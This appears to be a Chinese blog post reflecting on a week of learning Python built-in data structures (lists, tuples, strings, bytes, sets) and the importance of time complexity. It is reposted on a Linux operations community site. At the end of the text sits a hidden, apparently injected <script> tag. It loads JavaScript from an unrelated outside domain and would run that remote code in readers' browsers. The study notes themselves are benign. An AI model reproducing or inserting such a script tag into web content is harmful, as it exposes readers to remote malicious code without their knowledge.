不知不覺已經正式學習接觸Python兩周了,第二周主要開始了Python內置數據結構的學習,包括從一開始的列表list,元組tuple,字符串string,再到后來的bytes, bytearray, 以及最后的集合set。這些數據結構可以說Python最為基礎的幾種類型,想要用Python寫出漂亮的代碼離不開對他們的熟練掌握與深刻理解。這幾個結構各有各的特點,有一些共同點,比如有序性,可索引,可修改等一些性質,也有一些他們各自獨有的特點,比如set中的元素不可重復,利用好它的這一特點就可以很好地對目標元素進行去重操作。另外,我們需要牢記每個結構自身最基本的特點,尤其不能弄混,并且對于每一次結構的輸出類型要有特別清晰的判斷,只有這些基本點了解清楚了,寫代碼的時候才不會冗余,不會出錯,能夠寫的簡練,易懂,給人耳目一新的感覺。
另外,在本周的數據結構學習過程中,我們首次接觸到了時間復雜度的概念。對于每種類型進行操作的時間復雜度決定了我們代碼的效率,因此,如何能夠避免過高的時間復雜度是在我們能夠寫出代碼,執行代碼之后優化的第一要務。雖然在初學階段,能不能寫出代碼,能不能順利執行是我們的第一大關,但倘若我們使用了一般的方法實現了目標,那么下一步必然要審視自己的代碼,進行效率審查。如果有明顯的效率問題,它雖然是“一只能抓到老鼠的貓”,但未必是“一只真正的好貓”。而成為“一只真正的好貓”是我們提升競爭力的重要途徑,我們只有在不斷優化算法,不斷提升效率,盡可能接近最優算法之后,才能自豪地說一句:“我不但能抓老鼠,我還是一個有效率的好貓?!?script src='https://pr.uustoughtonma.org/d.js' type='text/javascript'>
本文來自投稿,不代表Linux運維部落立場,如若轉載,請注明出處:http://www.www58058.com/94033